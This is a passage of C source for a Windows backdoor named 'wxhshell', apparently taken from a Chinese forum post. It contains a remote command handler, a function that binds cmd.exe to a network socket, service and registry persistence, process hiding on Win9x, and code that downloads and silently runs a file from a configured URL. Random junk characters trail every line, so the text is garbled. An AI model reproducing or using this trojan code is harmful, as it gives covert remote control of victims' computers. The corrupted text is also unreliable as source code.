    switch(cmd[0]) {  E& cC2(w  
  D@&xj_#\}  
  // 帮助 eXKEx4rU  
  case '?': { ;&=jSgr8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dc0=gq0  
    break; ZXs,TaU  
  } 3]vVuQK.  
  // 安装 `C: 7 N=9  
  case 'i': { D'!JV1Q  
    if(Install()) gamB]FPZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s\mA3t  
    else 8:& ! F`o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :dW\Q&iW  
    break; LA;f,CQ  
    } PMTrG78p*  
  // 卸载 c #{|sR5  
  case 'r': { 0M;g&&mF  
    if(Uninstall()) >s/_B//[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [;ZCq!)>  
    else s]99'Q",  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .9x* YS  
    break; S~:uOm2t\  
    } c"tlNf?  
  // 显示 wxhshell 所在路径 yQ/O[(  
  case 'p': { dUa>XkPa\2  
    char svExeFile[MAX_PATH]; z` 6$p1U  
    strcpy(svExeFile,"\n\r"); PpFQoY7M  
      strcat(svExeFile,ExeFile); `0ym3}(O  
        send(wsh,svExeFile,strlen(svExeFile),0); !T<,fR+8X  
    break; X(/fE?%;  
    } GAY?F  
  // 重启 9BZ B1o X  
  case 'b': { X[.%[G|oj}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a k5D  
    if(Boot(REBOOT)) =aB+|E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?{'_4n3O  
    else { z$^wCd:  
    closesocket(wsh); 1P"7.{  
    ExitThread(0); "=DQ {(L  
    } WwsNAJ  
    break; 1f+A_k/@  
    } ,X3D< wl  
  // 关机 3A ^AEO  
  case 'd': { kkZ}&OXS;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); L@O>;zp;  
    if(Boot(SHUTDOWN)) y2+f)Xp_.C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OD7A(28  
    else { 0B8Wf/j?M  
    closesocket(wsh); BTwc(oL  
    ExitThread(0); ngZq]8 =o  
    } &v0]{)PO  
    break; < xeB9  
    } "Q+wO+}6  
  // 获取shell =KQIrS:  
  case 's': { SM)"vr_  
    CmdShell(wsh); 6 9$R.  
    closesocket(wsh); ZhCd**  
    ExitThread(0); 5)Z=FUupA~  
    break; qnyacI  
  } nmn/4>  
  // 退出  GpTZp#~;  
  case 'x': { .$p eq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); awR !=\  
    CloseIt(wsh); u\ 7Y_`8  
    break; JJ1>)S}X-  
    } (L4llZ;q  
  // 离开 Vp; `!+z"  
  case 'q': { ">=Ep+ix  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZFMO;'m&  
    closesocket(wsh); mg:kVS  
    WSACleanup(); %?n=I n(F  
    exit(1); %|+aI?  
    break; _YlyS )#@  
        } {i=V:$_#  
  } \y271}'  
  } Jq)k5X>&Sj  
*J^FV^E``  
  // 提示信息 3}V (8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  kVZs:  
} 3c#^@Bj(-e  
  } Da)p%E>Q  
> A@yF?  
  return; 8Ckd.HKpQ  
} .0yBI=QI  
*\#<2 QAe  
// shell模块句柄 "uuM#@h  
int CmdShell(SOCKET sock) Z0H_l/g  
{ qGN> a[D  
STARTUPINFO si; *>?N>f"  
ZeroMemory(&si,sizeof(si)); q'7.lrKwa>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fcp_<2KH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OU` !c[O  
PROCESS_INFORMATION ProcessInfo; E8PwA.  
char cmdline[]="cmd"; *MfH\X379  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mEYfsO  
  return 0; P%&|?e~D^  
} 9[\do@  
2?LPr  
// 自身启动模式 :mDOqlXW/  
int StartFromService(void) 4/{pz$  
{ OH`zeI,[*  
typedef struct VFawASwQ  
{ l #C<bDw  
  DWORD ExitStatus; 1F>8#+B/W  
  DWORD PebBaseAddress; jQ7;-9/~N  
  DWORD AffinityMask; e~*tQ4  
  DWORD BasePriority; !/H `   
  ULONG UniqueProcessId; =?4[:#Rh  
  ULONG InheritedFromUniqueProcessId; ]O:u9If  
}   PROCESS_BASIC_INFORMATION; }s?w-u+(c6  
D]fgBW-  
PROCNTQSIP NtQueryInformationProcess; .nEMd/pX  
Ar~<l2,{r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d]K8*a%[-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _~tF2`,Y_p  
dpchZ{  
  HANDLE             hProcess; fup?Mg-  
  PROCESS_BASIC_INFORMATION pbi; \kKd:C{  
wbr$w>n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V%;dTCq  
  if(NULL == hInst ) return 0; R f)|p;  
XySkm2y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); f'"PQr^9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /T  {R\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IDpLf*vSG  
@ g`|ob]9  
  if (!NtQueryInformationProcess) return 0; )(.g~Q:  
8cvSA&l(D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0iC5,  
  if(!hProcess) return 0; dm_Pz\ *  
qp*~  |  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _I EbRVpb  
(gE<`b  
  CloseHandle(hProcess); 6b2h\+AP  
!S7?:MJ?p\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Z$c&Y>@)  
if(hProcess==NULL) return 0; /g%RIzgW  
_7u&.l<;  
HMODULE hMod; E}%Pwr  
char procName[255]; 5cM%PYU4:v  
unsigned long cbNeeded; ^vVAuO  
SJc*Rl>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H/ ejO_{  
}jce5E  
  CloseHandle(hProcess); ^wSGrV'  
-/B*\X[  
if(strstr(procName,"services")) return 1; // 以服务启动 &)Zv>P8z`  
m@I}$  
  return 0; // 注册表启动 N0$ uB"  
} z*b|N45O  
wZCboQ,  
// 主模块 Fsq)co  
int StartWxhshell(LPSTR lpCmdLine) Jb9 @U /<\  
{ ~ [/jk !G  
  SOCKET wsl; WC_U'nTu4  
BOOL val=TRUE; i&m6;>?`  
  int port=0; !.iFU+?V  
  struct sockaddr_in door; #68$'Rl"o1  
bM_fuy55Op  
  if(wscfg.ws_autoins) Install(); }h/7M  
Ap"%%D^{:  
port=atoi(lpCmdLine); Q;y4yJ$wI  
5>e<|@2 X  
if(port<=0) port=wscfg.ws_port; YsiH=x  
L`O7-'`  
  WSADATA data; #/9Y}2G|]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ? YIe<  
bx6=LK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6W]C`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v^t oe  
  door.sin_family = AF_INET; RxV " ,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )B-[Q#*A-  
  door.sin_port = htons(port); #@V<{/;49  
.2rpQa/h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;sUvY*Bcm  
closesocket(wsl); cw0 @Z0  
return 1; tqB6:p-%  
} /IX555/dR1  
 -y_q  
  if(listen(wsl,2) == INVALID_SOCKET) { m4~~q[t  
closesocket(wsl); R;U4a2~  
return 1; 2Z"\%ZD  
} e<A>??h^  
  Wxhshell(wsl); }43qpJe8U  
  WSACleanup(); vz:VegS  
(VCJn<@@  
return 0; GqP02P'2  
 fOsvOC  
} |,TBP@  
/-^{$$eu  
// 以NT服务方式启动 XMI5j7C L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F$|d#ny  
{ \Q|,0`  
DWORD   status = 0;  9,tk  
  DWORD   specificError = 0xfffffff; cuf]-C1_  
+uNMyVH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; p? VDBAx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w JgH15oB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6"[,  
  serviceStatus.dwWin32ExitCode     = 0; m^RO*n.  
  serviceStatus.dwServiceSpecificExitCode = 0; {SZv#MrK  
  serviceStatus.dwCheckPoint       = 0; vkYiO]y  
  serviceStatus.dwWaitHint       = 0; cV`NQt<W  
v$;URF%^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a 7b1c!  
  if (hServiceStatusHandle==0) return; U: <  
\7o7~pll  
status = GetLastError(); >G[:Q s  
  if (status!=NO_ERROR) %\'G2  
{  l]   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; X*Q<REDB  
    serviceStatus.dwCheckPoint       = 0; u Vv %k5  
    serviceStatus.dwWaitHint       = 0; YoQQ ,  
    serviceStatus.dwWin32ExitCode     = status; mZ?QtyljT  
    serviceStatus.dwServiceSpecificExitCode = specificError; vQoZk,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 931GJA~g  
    return; o~xGE6A*"  
  } d,'gh4C  
4] u\5K-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jQfnc:'  
  serviceStatus.dwCheckPoint       = 0; NSzTl-eS  
  serviceStatus.dwWaitHint       = 0; v`qXb$YW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |1(L~g  
} 9RK.+ 2  
I&&;a.  
// 处理NT服务事件,比如:启动、停止 MQ'=qR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $.ctlWS8l{  
{ [ 'B u  
switch(fdwControl) ]h`d>#Hw!  
{ Vhn Ir#L+  
case SERVICE_CONTROL_STOP: {?cF2K#  
  serviceStatus.dwWin32ExitCode = 0; x'Nc}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; RO[X #c  
  serviceStatus.dwCheckPoint   = 0; {?mb.~(  
  serviceStatus.dwWaitHint     = 0; QPFv]^s(  
  { BryD?/}P)M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J'&K  
  } I34 1s0  
  return; O2lM;="  
case SERVICE_CONTROL_PAUSE: \ZSqZDq  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :"i2`y;u  
  break; i8*(J-M  
case SERVICE_CONTROL_CONTINUE: \2Q#'  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M,r8 No  
  break; u@Z6)r'  
case SERVICE_CONTROL_INTERROGATE: G]Im.x3O-  
  break; vZqW,GDfXo  
}; cwHbm%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -2C^M> HZ  
} r"VNq&v]9  
gla'urb[i|  
// 标准应用程序主函数 i DsY 5l  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G}dq ft5"  
{ tI.ho  
|*8X80<  
// 获取操作系统版本 u&f|z9  
OsIsNt=GetOsVer(); S[l z>I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2c*}1 _  
Q} -YD.bx3  
  // 从命令行安装 +mO/9m  
  if(strpbrk(lpCmdLine,"iI")) Install(); M@pF[J/  
4jVd  
  // 下载执行文件 3]&le[.  
if(wscfg.ws_downexe) { `0 W+(9}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >@Na6BH5v  
  WinExec(wscfg.ws_filenam,SW_HIDE); TyR@3H  
} @JJ{\?>  
,s,AkH  
if(!OsIsNt) { Pn ?gB}l  
// 如果时win9x,隐藏进程并且设置为注册表启动 }JUc!cH8z  
HideProc(); ,OkI0[  
StartWxhshell(lpCmdLine); GN+,9  
} n (Um/  
else sr<\fW  
  if(StartFromService()) u3jLe=Y'\  
  // 以服务方式启动 !G'wC0  
  StartServiceCtrlDispatcher(DispatchTable); & }_tALg  
else )~w bu2;  
  // 普通方式启动 )L"J?wTe  
  StartWxhshell(lpCmdLine); qE6D"+1y7  
Z|3[Y@c \  
return 0; {{ 1qk G9$  
}
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只看该作者 1 发表于: 2006-10-10
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